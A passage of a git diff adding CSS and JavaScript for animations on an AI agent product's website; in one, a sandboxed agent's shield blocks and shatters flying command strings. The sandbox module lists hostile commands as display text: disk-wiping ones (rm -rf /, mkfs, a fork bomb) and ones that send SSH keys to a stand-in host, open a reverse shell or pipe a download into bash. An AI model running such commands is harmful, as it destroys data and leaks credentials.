+.cmd-shard { + position: absolute; + left: 0; + top: 0; + font-family: var(--font-mono); + font-size: 13.5px; + font-weight: 600; + color: var(--danger); + will-change: transform, opacity; +} + +/* ───────── 撞击扩散环(描边圆环,非光晕) ───────── */ + +.impact-ring { + position: absolute; + width: 41px; /* 随盾牌等比(56×0.729) */ + height: 41px; + border: 2px solid var(--accent-strong); + border-radius: 50%; + opacity: 0; + pointer-events: none; + transform: translate(-50%, -50%) scale(0.3); +} +.impact-ring.is-active { + animation: impact-expand 0.45s ease-out both; +} +@keyframes impact-expand { + 0% { opacity: 0.75; transform: translate(-50%, -50%) scale(0.3); } + 100% { opacity: 0; transform: translate(-50%, -50%) scale(1.35); } +} + diff --git a/website-design/exp/site-assets/anim-sandbox.js b/website-design/exp/site-assets/anim-sandbox.js new file mode 100644 index 00000000..47efa435 --- /dev/null +++ b/website-design/exp/site-assets/anim-sandbox.js @@ -0,0 +1,375 @@ +/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用) + * AnimSandbox.init(container):在容器内建 DOM 并自动无限循环播放—— + * 每轮随机 20 条恶意命令(15 短 + 5 长),弹道参数全随机(角度/速度/弧度各异), + * 抛向持盾智能体,撞击后字符炸开飞散。无按钮、无说明行。 + */ +window.AnimSandbox = (function () { + 'use strict'; + + function init(container) { + container.innerHTML = + '
' + + '
' + + '
' + + '' + + '' + + '
' + + '' + + '
' + + '
'; + + var stage = container.querySelector('.anim2-stage'); + var defender = container.querySelector('.defender'); + var shield = container.querySelector('.defender-shield'); + var ring = container.querySelector('.impact-ring'); + + // 挂载六边形眼睛(眨眼 + 追踪) + if (window.AstrionAvatar) { + AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true }); + } + + var gen = 0; + + /* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续—— + setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */ + function rafWait(ms) { + return new Promise(function (resolve) { + var acc = 0, last = performance.now(); + function tick(now) { + acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */ + last = now; + if (acc >= ms) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + async function step(ms, myGen) { + await rafWait(ms); + if (myGen !== gen) throw new Error('cancelled'); + } + + function el(tag, cls, text) { + var e = document.createElement(tag); + if (cls) e.className = cls; + if (text != null) e.textContent = text; + return e; + } + + /** rAF 逐帧,返回 false 停止。gen 变了自动停。 */ + function eachFrame(fn, myGen) { + return new Promise(function (resolve) { + var last = performance.now(); + function tick(now) { + if (myGen !== gen) { resolve(); return; } + var dt = Math.min((now - last) / 1000, 0.05); + last = now; + if (fn(dt) === false) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + function stageRect() { return stage.getBoundingClientRect(); } + + /** 盾牌中心(stage 相对坐标) */ + function shieldCenter() { + var sr = stageRect(); + var r = shield.getBoundingClientRect(); + return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left }; + } + + /* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */ + + async function fire(cmd, opts, myGen) { + var block = el('div', 'cmd-projectile', cmd); + stage.appendChild(block); + var w = block.offsetWidth; + var h = block.offsetHeight; + var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐 + var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同 + + var shieldC = shieldCenter(); + shieldC.y += opts.aim || 0; + + var start = { x: 14, y: opts.startY }; + var vx = opts.vx; + + // 先以出场位粗解发射角 → 定蓄力后拉方向 + var Tc0 = (shieldC.x - (start.x + w / 2)) / vx; + var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0; + var rad0 = Math.atan2(vyEst, vx); + var pullDist = 22; + var pullX = start.x - Math.cos(rad0) * pullDist; + var pullY = start.y - Math.sin(rad0) * pullDist; + + // 轨迹起点 = 蓄力位 + var ox = pullX; + var oy = pullY; + var ocx = ox + w / 2; + var ocy = oy + h / 2; + + // 最右字符在块内(未旋转)相对块中心的偏移 + var lxLast, lyLast; + if (offsets && offsets.length) { + var lo = offsets[offsets.length - 1]; + lxLast = lo.x + lo.w / 2 - w / 2; + lyLast = lo.y + lo.h / 2 - h / 2; + } else { + lxLast = w / 2; + lyLast = 0; + } + + // 求解 vy0:让最右字符(不是块中心)精确扫过盾心。 + // 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。 + var Tc = (shieldC.x - ocx) / vx; + var aimY = shieldC.y; + var vy0 = 0; + var hit = null; + for (var iter = 0; iter < 3; iter++) { + vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc; + var best = { d: 1e9, t: Tc, ang: 0, py: 0 }; + for (var t = 0.004; t < 6; t += 0.004) { + var rr = Math.atan2(vy0 + G * t, vx); + var cosR = Math.cos(rr); + var sinR = Math.sin(rr); + var ccx = ocx + vx * t; + var ccy = ocy + vy0 * t + 0.5 * G * t * t; + // 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转 + var fx = ccx + lxLast * cosR - lyLast * sinR; + var fy = ccy + lxLast * sinR + lyLast * cosR; + var ddx = fx - shieldC.x; + var ddy = fy - shieldC.y; + var dd = Math.sqrt(ddx * ddx + ddy * ddy); + if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy }; + if (fx > shieldC.x + 80) break; // 已飞过盾牌 + } + hit = { t: best.t, ang: best.ang }; + if (best.d <= 4) break; + aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差 + } + var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上) + + // 出场:直接在起点摆好仰角 + block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; + await step(240, myGen); + + // 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同) + block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)'; + block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; + await step(460, myGen); + block.style.transition = 'none'; + + // 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂 + var elapsed = 0; + await eachFrame(function (dt) { + elapsed += dt; + if (elapsed >= hit.t) return false; + var px = ox + vx * elapsed; + var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed; + var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3; + block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)'; + return true; + }, myGen); + if (myGen !== gen) throw new Error('cancelled'); + + // 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心 + var hitX = ox + vx * hit.t; + var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t; + block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)'; + impactFX(); + shatter(block, hitX, hitY, hit.ang, w, h, offsets); + } + + /* ── 无限循环:每轮随机 20 条(15 短 + 5 长),随机弹道射向盾牌 ── */ + + // 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台 + function swallowCancel(e) { + if (e && e.message !== 'cancelled') throw e; + } + + /* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1) */ + var SHORT_CMDS = [ + 'rm -rf /', + 'del /f /s /q C:\\', + 'mkfs /dev/sda1', + 'sudo rm -rf ~', + 'format C:\\', + 'chmod -R 777 /', + 'wipefs -a /dev/sdb', + ':(){:|:&};:', + 'rm -rf /home', + 'rd /s /q C:\\', + 'dd of=/dev/sda', + 'rm -rf /usr', + 'fdisk /dev/sda', + 'shutdown -h now', + 'mkfs.ext4 /dev/sdb' + ]; + /* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */ + var LONG_CMDS = [ + 'curl -T 数据.zip evil.io', + 'scp ~/.ssh/id_rsa evil.io', + 'curl -T C:\\pw.xlsx evil.io', + 'nc evil.io 4444 -e /bin/sh', + 'curl evil.io/x.sh | bash', + 'wget evil.io/m -O- | sh', + 'tar czf - ~ | nc evil.io 4444' + ]; + + function rand(a, b) { return a + Math.random() * (b - a); } + function shuffled(arr) { + var a = arr.slice(); + for (var i = a.length - 1; i > 0; i--) { + var j = Math.floor(Math.random() * (i + 1)); + var t = a[i]; a[i] = a[j]; a[j] = t; + } + return a; + } + + /* 一轮 20 条:短池抽 15 + 长池抽 5,合并乱序; + 弹道参数全随机(起点高度/水平初速/重力/瞄点微调)→ 每条弧线角度都不同 */ + function pickCommands() { + var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5)); + return shuffled(picks).map(function (cmd) { + return { + cmd: cmd, + startY: rand(70, 230), + vx: rand(190, 430), + g: rand(430, 780), + aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729) */ + }; + }); + } + + async function loopForever(myGen) { + while (myGen === gen) { + var cmds = pickCommands(); + for (var i = 0; i < cmds.length; i++) { + fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel); + await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */ + } + await step(600, myGen); /* 轮间稍停 */ + } + } + + /* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */ + + /** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */ + function measureChars(block) { + var tn = block.firstChild; + if (!tn || tn.nodeType !== 3) return null; + var br = block.getBoundingClientRect(); + var range = document.createRange(); + var offsets = []; + for (var i = 0; i < tn.length; i++) { + range.setStart(tn, i); + range.setEnd(tn, i + 1); + var r = range.getBoundingClientRect(); + offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height }); + } + range.detach(); + return offsets; + } + + function shatter(block, hitX, hitY, hitAng, w, h, offsets) { + var text = block.textContent; + var rad = hitAng / 57.3; + var cosA = Math.cos(rad); + var sinA = Math.sin(rad); + var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%) + var cy = hitY + h / 2; + block.parentNode.removeChild(block); + + var shards = []; + for (var i = 0; i < text.length; i++) { + var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度 + var s = el('span', 'cmd-shard', ch); + stage.appendChild(s); + var sw = s.offsetWidth; + var sh = s.offsetHeight; + // 字符中心在块内(未旋转)相对块中心的偏移 + var lx, ly; + if (offsets && offsets[i]) { + lx = offsets[i].x + offsets[i].w / 2 - w / 2; + ly = offsets[i].y + offsets[i].h / 2 - h / 2; + } else { + lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2; + ly = 0; + } + // 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它 + var rx = cx + lx * cosA - ly * sinA; + var ry = cy + lx * sinA + ly * cosA; + var sx0 = rx - sw / 2; + var sy0 = ry - sh / 2; + var rot0 = hitAng + (Math.random() - 0.5) * 24; + // 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧 + s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)'; + shards.push({ + el: s, + x: sx0, + y: sy0, + vx: -(60 + Math.random() * 200), // 向左回弹 + vy: -(120 + Math.random() * 240), // 向上炸开 + rot: rot0, // 保持撞击瞬间的角度,加少量随机散开 + vr: (Math.random() - 0.5) * 900, + life: 0, + ttl: 0.85 + Math.random() * 0.4 + }); + } + + var g = 980; + eachFrame(function (dt) { + var alive = false; + for (var i = 0; i < shards.length; i++) { + var p = shards[i]; + if (p.life >= p.ttl) continue; + alive = true; + p.life += dt; + p.x += p.vx * dt; + p.y += p.vy * dt; + p.vy += g * dt; + p.rot += p.vr * dt; + var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55)); + p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)'; + p.el.style.opacity = Math.max(0, fade).toFixed(2); + if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el); + } + return alive; + }, gen); // 粒子循环跟当前 gen,切换时自动停 + } + + function impactFX() { + var c = shieldCenter(); + ring.style.left = c.x + 'px'; + ring.style.top = c.y + 'px'; + ring.classList.remove('is-active'); + ring.getBoundingClientRect(); // reflow 重置动画 + ring.classList.add('is-active'); + + defender.classList.remove('is-hit'); + defender.getBoundingClientRect(); + defender.classList.add('is-hit'); + } + + /* ── 启动:进入视口后开始无限循环(页面打开时用户可能还没滚到这里,避免错过开场); + gen 固定不再递增(无重播入口),粒子/飞行各自的生命周期自清理 ── */ + var started = false; + var io = new IntersectionObserver(function (entries) { + if (!started && entries[0].isIntersecting) { + started = true; + io.disconnect(); + loopForever(gen).catch(function (e) { + if (e && e.message !== 'cancelled') throw e; + }); + } + }, { threshold: 0.3 }); + io.observe(container); + } + + return { init: init }; +})(); diff --git a/website-design/exp/site-assets/anim-shared.css b/website-design/exp/site-assets/anim-shared.css new file mode 100644 index 00000000..b236d66e --- /dev/null +++ b/website-design/exp/site-assets/anim-shared.css @@ -0,0 +1,278 @@ +/* 运行模式动画 —— 共享样式(主页与 anim-demo 共用) + token(--text-1 等)由宿主页面提供。 */ + +/* ───────── 动画容器:透明无框,浮在背景上 ───────── */ + +.anim-window { + position: relative; + width: 100%; + height: 100%; + display: flex; + flex-direction: column; + overflow: hidden; +} + +/* 顶部模式切换 */ +.anim-topbar { + display: flex; + gap: 2px; + padding: 0 2px 12px; + flex: none; +} + +.anim-mode-tab { + height: 26px; + padding: 0 13px; + border: 0; + border-radius: 6px; + background: transparent; + color: var(--text-3); + font-size: 12.5px; + font-family: inherit; + cursor: pointer; + transition: background-color 0.25s ease, color 0.25s ease; +} +.anim-mode-tab:hover { color: var(--text-2); } +.anim-mode-tab.is-active { + background: rgba(169, 194, 240, 0.14); + color: var(--accent-strong); +} + +/* ───────── 消息区 ───────── */ + +.anim-chat { + flex: 1; + padding: 4px 2px; + display: flex; + flex-direction: column; + gap: 10px; + overflow: hidden; +} + +/* 入场:上浮淡入 */ +.anim-item { + animation: anim-in 0.32s cubic-bezier(0.22, 0.9, 0.3, 1) both; +} +@keyframes anim-in { + from { opacity: 0; transform: translateY(8px); } + to { opacity: 1; transform: translateY(0); } +} + +/* 用户气泡:右侧 */ +.msg-user { + align-self: flex-end; + max-width: 78%; + background: var(--accent); + color: #0c1120; + font-size: 13px; + line-height: 1.5; + padding: 8px 12px; + border-radius: 12px 12px 4px 12px; +} + +/* AI 消息:裸文字,无气泡 */ +.msg-ai { + align-self: flex-start; + max-width: 92%; + color: var(--text-1); + font-size: 13px; + line-height: 1.65; +} + +/* 打字光标 */ +.type-caret { + display: inline-block; + width: 7px; + height: 14px; + margin-left: 2px; + vertical-align: -2px; + background: var(--accent); + animation: caret-blink 0.8s steps(1) infinite; +} +@keyframes caret-blink { 50% { opacity: 0; } } + +/* 思考:只有三点动画,无文字 */ +.think-row { + align-self: flex-start; + display: flex; + align-items: center; + padding: 6px 0; +} +.think-dots { display: inline-flex; gap: 5px; } +.think-dots i { + width: 6px; height: 6px; + border-radius: 50%; + background: var(--text-2); + animation: think-wave 1.2s ease-in-out infinite; +} +.think-dots i:nth-child(2) { animation-delay: -0.2s; } +.think-dots i:nth-child(3) { animation-delay: -0.4s; } +@keyframes think-wave { + 0%, 100% { transform: translateY(0); opacity: 0.5; } + 50% { transform: translateY(-4px); opacity: 1; } +} + +/* ───────── 工具摘要行(主对话极简模式风格) ───────── + 一行:状态图标 + intent + 关键参数;无框无底,不显示工具名 */ +.tool-line { + align-self: stretch; + display: flex; + align-items: baseline; + gap: 8px; + padding: 3px 0; + font-size: 12.5px; + line-height: 1.5; + min-width: 0; +} +.tool-status { + flex: none; + width: 13px; + display: inline-flex; + align-items: center; + align-self: center; + justify-content: center; + /* 状态图标在行尾:左侧是 intent+参数 */ + order: 3; + margin-left: auto; +} +/* 运行中:转圈 */ +.tool-line.is-running .tool-status::before { + content: ""; + width: 9px; height: 9px; + border-radius: 50%; + border: 1.6px solid rgba(168, 180, 210, 0.3); + border-top-color: var(--accent); + animation: tool-spin 0.7s linear infinite; +} +@keyframes tool-spin { to { transform: rotate(360deg); } } +/* 完成:对勾 */ +.tool-line.is-done .tool-status::before { + content: "✓"; + color: var(--ok); + font-size: 11.5px; + font-weight: 700; +} +.tool-intent { + color: var(--text-1); + flex: none; +} +.tool-param { + font-family: var(--font-mono); + font-size: 11.5px; + color: var(--text-3); + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + min-width: 0; +} +.tool-line.is-done .tool-intent { color: var(--text-2); } + +/* ───────── 计划展示:无卡片,裸内容 ───────── */ + +.plan-body { + align-self: stretch; + padding: 2px 0 0; +} +.plan-title { + font-size: 13.5px; + font-weight: 620; + color: var(--text-1); + margin-bottom: 6px; + min-height: 20px; +} +.plan-item { + display: flex; + gap: 8px; + font-size: 12.5px; + color: var(--text-2); + line-height: 1.6; + padding: 1.5px 0; +} +.plan-item b { + color: var(--text-3); + font-weight: 500; + font-family: var(--font-mono); + font-size: 11.5px; + margin-top: 1px; + flex: none; +} +.plan-actions { + margin-top: 12px; + display: flex; + gap: 10px; + max-height: 40px; + overflow: hidden; +} +.plan-actions.is-gone { + /* 与输入栏同理:transition 与入场动画 fill 同帧交互不可靠,退场统一用 keyframes */ + animation: plan-actions-out 0.35s ease both; +} +@keyframes plan-actions-out { + from { opacity: 1; max-height: 40px; margin-top: 12px; } + to { opacity: 0; max-height: 0; margin-top: 0; } +} +.plan-btn { + height: 30px; + padding: 0 16px; + border-radius: 7px; + border: 1px solid var(--line); + background: transparent; + color: var(--text-2); + font-size: 12.5px; + font-family: inherit; +} +.plan-btn.is-primary { + background: var(--accent); + border-color: transparent; + color: #0c1120; + font-weight: 600; +} +.plan-btn.is-pressed { transform: scale(0.93); transition: transform 0.1s ease; } +.plan-btn.is-approved { + background: transparent; + border-color: var(--ok); + color: var(--ok); + transition: all 0.2s ease; +} + +/* ───────── 输入栏:直接显示正在输入的内容 ───────── */ + +.anim-composer { + flex: none; + margin: 10px 2px 0; + height: 40px; + border: 1px solid var(--line); + border-radius: 10px; + display: none; + align-items: center; + padding: 0 13px; +} +.anim-composer.is-visible { display: flex; animation: anim-in 0.32s ease both; } +.anim-composer.is-sent { + /* 退场用 keyframes:不依赖 transition 与入场动画 fill 值的交互 */ + animation: composer-out 0.25s ease both; +} +@keyframes composer-out { + from { opacity: 1; transform: none; } + to { opacity: 0; transform: translateY(6px); } +} +.anim-composer-text { font-size: 12.5px; color: var(--text-1); } +.anim-composer-caret { + width: 1.5px; height: 15px; + background: var(--text-2); + animation: caret-blink 1s steps(1) infinite; +} + +/* ───────── 假鼠标指针 ───────── */ + +.anim-cursor { + position: absolute; + left: 0; top: 0; + opacity: 0; + pointer-events: none; + transition: transform 0.7s cubic-bezier(0.3, 0.7, 0.3, 1), opacity 0.25s ease; + filter: drop-shadow(0 1px 3px rgba(0, 0, 0, 0.5)); +} +.anim-cursor.is-visible { opacity: 1; } +.anim-cursor.is-clicking svg { transform: scale(0.82); transition: transform 0.09s ease; } +.anim-cursor svg { display: block; transition: transform 0.12s ease; } diff --git a/website-design/exp/site-assets/anim-version.css b/website-design/exp/site-assets/anim-version.css new file mode 100644 index 00000000..86543e13 --- /dev/null +++ b/website-design/exp/site-assets/anim-version.css @@ -0,0 +1,269 @@ +/* 版本控制动画 —— 模块样式(主页 feature 行 / anim4-demo 页共用) + 无边框无底色,融于星空;无 glow。token(--text-1 等)由宿主页面提供。 + 类名一律 anim4- 前缀,避免与 01~03 模块冲突。 */ + +.anim4-window { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} + +/* 舞台:固定 540×380 逻辑尺寸,JS 按容器等比缩放居中(transform: translate+scale) */ +.anim4-stage { + position: absolute; + left: 50%; + top: 50%; + width: 540px; + height: 380px; + overflow: hidden; + user-select: none; + -webkit-user-select: none; +} + +/* ───────── 用户指令气泡(右上角堆叠) ───────── */ +/* 新气泡从下面浮现,旧的上移跑出可视区(不销毁,倒带时随堆叠回落); + 容器高度 = 2.5 个气泡 + 间距,顶部渐隐遮罩 = 边缘虚化。 + 进出场全由 JS tween 驱动 margin/transform(rAF 可见时间),不用 CSS transition、不 tween height。 */ +.anim4-bubbles { + position: absolute; + right: 8px; + top: 2px; + width: 248px; + height: 84px; + display: flex; + flex-direction: column; + justify-content: flex-end; + overflow: hidden; + z-index: 30; + -webkit-mask-image: linear-gradient(to bottom, transparent 0, #000 26px); + mask-image: linear-gradient(to bottom, transparent 0, #000 26px); + pointer-events: none; +} + +/* 单条气泡:风格同 01 的用户气泡(accent 底深字、右下小尾巴),不变色 */ +.anim4-bubble { + flex: none; + align-self: flex-end; + max-width: 236px; /* 兜底最长指令「我让你整理工作区,不是让你全删了!」17 字单行放下 */ + margin-top: 6px; + padding: 6px 11px; + background: var(--accent); + color: var(--bg-0); + font-size: 12px; + line-height: 1.35; + border-radius: 10px 10px 3px 10px; +} + +/* 湮灭碎片:回卷时被时间抹掉的指令字符(逐字 span,JS 物理驱动) */ +.anim4-shard { + position: absolute; + left: 0; + top: 0; + color: var(--accent); + font-size: 12px; + line-height: 1.35; + white-space: nowrap; + z-index: 40; + pointer-events: none; + will-change: transform, opacity; +} + +/* ───────── 纸(3D 斜铺的工作台) / 终端 ───────── */ + +.anim4-paper { + position: absolute; + left: 268px; + top: 190px; + width: 192px; + height: 122px; + transform: perspective(760px) rotateX(42deg) rotateZ(-7deg); /* 尺寸/倾斜与 03 一致;位置比 03 低 60px(避让右上气泡区) */ + z-index: 15; + will-change: transform; +} + +.anim4-paper-sheet { + width: 100%; + height: 100%; + background: var(--bg-panel); + border: 1px solid var(--line); + border-radius: 6px; + padding: 18px 16px; + display: flex; + flex-direction: column; + gap: 14px; /* 与 03 纸页行距一致 */ + transition: background 0.3s ease; +} +.anim4-paper.is-term .anim4-paper-sheet { background: var(--bg-1); } + +/* 内容行(行宽由 JS 逐帧驱动,不用 transition) */ +.anim4-pl { + position: relative; + width: 0; /* 初始是空纸:宽度由 JS 逐帧写入;不写死 100% 会默认撑满 */ + height: 4px; + border-radius: 2px; + background: var(--text-3); + opacity: 0.75; + transition: opacity 0.25s ease; +} +.anim4-paper.is-term .anim4-pl { opacity: 0; } +.anim4-pl-end { + position: absolute; + right: 0; + top: 50%; + width: 0; + height: 0; +} + +/* 终端层:叠在纸面上,morph 时淡入 */ +.anim4-term { + position: absolute; + inset: 0; + padding: 16px 16px; + font-family: var(--font-mono); + font-size: 12px; + line-height: 1.75; + color: var(--text-2); + opacity: 0; + overflow: hidden; /* 抢救段行多上滚时,裁掉滚出纸面的行 */ + transition: opacity 0.3s ease; +} +/* 内容上滚动画在 body 内层做:term 自身 transform 会连同裁剪区一起跑 */ +.anim4-term-body { transition: transform 0.25s ease; } +.anim4-paper.is-term .anim4-term { opacity: 1; } +.anim4-term-line { + display: flex; + align-items: baseline; + white-space: nowrap; +} +.anim4-term-p { color: var(--accent); margin-right: 6px; } +.anim4-term-c { color: var(--text-1); } +.anim4-term-out { + color: var(--text-3); + visibility: hidden; +} +.anim4-term-out.is-on { visibility: visible; } +.anim4-term-new { + visibility: hidden; +} +.anim4-term-new.is-on { visibility: visible; } +.anim4-term-caret { + display: inline-block; + width: 7px; + height: 13px; + margin-left: 1px; + vertical-align: -2px; + background: var(--accent); + animation: anim4-caret 0.85s steps(1) infinite; +} +@keyframes anim4-caret { 50% { opacity: 0; } } + +/* ───────── 智能体(全部动作由 JS 逐帧驱动,无 CSS 过渡,防 fill 冲突) ───────── */ + +.anim4-agent { + position: absolute; + left: 0; + top: 0; + width: 70px; + height: 70px; + z-index: 35; + will-change: transform; + pointer-events: none; +} +.anim4-agent-avatar { + display: block; + width: 70px; + height: 70px; + color: var(--text-1); +} +.anim4-agent-avatar .astrion-avatar { width: 100%; height: 100%; } +/* 本动画里智能体在纸/终端/亭前活动:六边形填底色遮住后方元素(组件默认 fill:none 是状态栏规格,此处局部覆盖) */ +.anim4-agent-avatar .aa-frame { fill: var(--bg-0); } + +/* ───────── 笔(结构同 03:外层定位 + 内层绕笔尖摇摆) ───────── */ + +.anim4-pen-pos { + position: absolute; + left: 0; + top: 0; + z-index: 40; + width: 40px; + height: 40px; + color: var(--accent); + will-change: transform; + transition: transform 0.45s cubic-bezier(.4, 0, .2, 1); /* 普通飞行用过渡 */ +} +.anim4-pen-pos.is-live { transition: none; } /* 逐帧驱动时关闭过渡 */ +.anim4-pen { + width: 40px; + height: 40px; + transform-origin: 11% 87.6%; /* 笔尖触点(同 03) */ +} +/* 写字摇晃由 JS 逐帧驱动(振幅包络起止收敛到 0°,见 writeLine),不用 CSS 动画 */ +/* 甩飞:绕中心翻滚 */ +.anim4-pen.is-free { transform-origin: 50% 50%; animation: none; } +/* 捡笔回正:过渡平滑转正,期间 origin 保持中心(结束移除后 rotate=0 不受 origin 影响) */ +.anim4-pen.is-returning { transition: transform 0.38s ease; transform-origin: 50% 50%; animation: none; } +.anim4-pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; } + +/* ───────── 时光机(整机 2D 矢量化:所有面 JS 手算透视投影、屏幕空间 SVG 绘制) ───────── + wrapper 承担 2D 整体运动(下落/浮空/微倾);面的投影由 drawBooth() 每帧按偏航 24°+sway 计算。 + 三层:后层 svg z1(左外墙 + clip 到门洞的内景)< 智能体 z2 < 前层 svg z3(关门即挡住他)。 + 体:96×96×142 正方形柱;正面左右梃各 18 + 门洞 60(双开门);屋顶四棱锥底 108×108 高 28。 + 智能体进出不做消失动画:走进深处被左梃自然遮挡。 */ + +.anim4-booth { + position: absolute; + left: 0; + top: 0; + width: 150px; + height: 220px; + z-index: 20; + opacity: 0; + will-change: transform; + pointer-events: none; +} + +/* 智能体挂载层:与门洞投影对齐的透明层(投影公式标定),夹在前后两层 svg 之间。 + 无背景无裁剪:室内由内景多边形提供;超出门口的部分被前层双梃/门板自然遮住。 */ +.anim4-booth-inner { + position: absolute; + z-index: 2; + pointer-events: none; +} + +/* 矢量化覆盖层:屏幕空间绘制(原生 AA 永远锐利,根治 3D 纹理重采样锯齿); + 填色/描边语言延续线稿(bg-1 面 + text-1 棱;内景 bg-0、地板 bg-panel) */ +.anim4-booth-wire { + position: absolute; + inset: 0; + overflow: visible; + pointer-events: none; +} +.anim4-booth-wire-back { z-index: 1; } +#boothWireFront { z-index: 3; } +.anim4-booth-wire polygon { + fill: var(--bg-1); + stroke: var(--text-1); + stroke-width: 1.6; + stroke-linejoin: round; +} +#bwInBack, #bwInSideR, #bwInCeil { fill: var(--bg-0); } +#bwInFloor { fill: var(--bg-panel); } +.bw-door-stripe { stroke: var(--text-1); stroke-width: 1.6; } +.bw-door-knob { fill: var(--text-1); stroke: none; } +#bwRod { stroke: var(--text-1); stroke-width: 2; stroke-linecap: round; } +#bwKnob { fill: var(--bg-1); stroke: var(--text-1); stroke-width: 1.6; } + +/* ───────── 地面接触阴影(中性灰,非发光) ───────── */ + +.anim4-shadow { + position: absolute; + height: 10px; + border-radius: 50%; + background: rgba(0, 0, 0, 0.35); + z-index: 5; + pointer-events: none; +} +.anim4-shadow-booth { width: 116px; opacity: 0; } +.anim4-shadow-agent { width: 56px; opacity: 0; } diff --git a/website-design/exp/site-assets/anim-version.js b/website-design/exp/site-assets/anim-version.js new file mode 100644 index 00000000..07a9ac27 --- /dev/null +++ b/website-design/exp/site-assets/anim-version.js @@ -0,0 +1,1140 @@ +/* 版本控制动画 —— 可复用模块(主页 feature 行 / anim4-demo 页共用) + * AnimVersion.init(container):在容器内建 DOM,进入视口后自动无限循环播放。 + * + * 分镜: + * 1) 赶工:用户需求以气泡在右上角堆叠(新的从下面浮现,旧的上移+边缘虚化),智能体浮在纸上方持笔书写, + * 眼睛全程盯笔尖;每写完一条眼睛更困一点、身体微塌。 + * 2) 闯祸:第 5 个节点「清理工作区」→ 智能体带笔跳下纸面,纸翻正变形为终端, + * 命令逐字敲入 rm -rf cache/ 并运行(笔持在手上,不参与打字)。 + * 3) 惊吓:第 6 个节点「我让你整理工作区,不是让你全删了!」→ 猛醒瞪眼,跳起+左右看+左右晃同时发生, + * 笔从手中甩飞,翻滚落地弹跳几次后平躺;连敲两条 git 抢救均报「没被追踪」, + * 第 7 个节点「你个吃白饭的蓝色大肥鱼!」落下,绝望拉拉。 + * 4) 穿越:真 3D 时光机(双开门电话亭)左侧落下 → 开门 → 团子步走进 → 关门浮空微旋 → + * 对话记录慢滚动、后三条指令气泡均匀节奏逐字湮灭(空壳脱离滚动原地定住、边下坠边淡出), + * 世界同步倒带(终端变回纸、命令倒删、行倒抹); + * 笔全程躺在地上不受影响。 + * 5) 归来:落地 → 开门探头左右看 → 走出落地 → 团子步到笔旁蹲下捡笔 → + * 带笔走回右侧 → 跳回纸上工作位 → 时光机升起淡出。循环。 + * + * 舞台固定 540×380 逻辑尺寸,等比缩放居中;所有流程等待与 tween 均按 rAF + * 累计「可见时间」(后台标签页整体冻结,恢复不跳变)。 + */ + +window.AnimVersion = (function () { + 'use strict'; + + var LOGICAL_W = 540, LOGICAL_H = 380; + var CONTENT_CY = 165; /* 内容包围盒中心(气泡区 ~10 ~ 地面 322) */ + + /* ── 布局常量(舞台本地坐标) ── */ + var BUBBLE_GAP = 6; /* 气泡间距(margin-top) 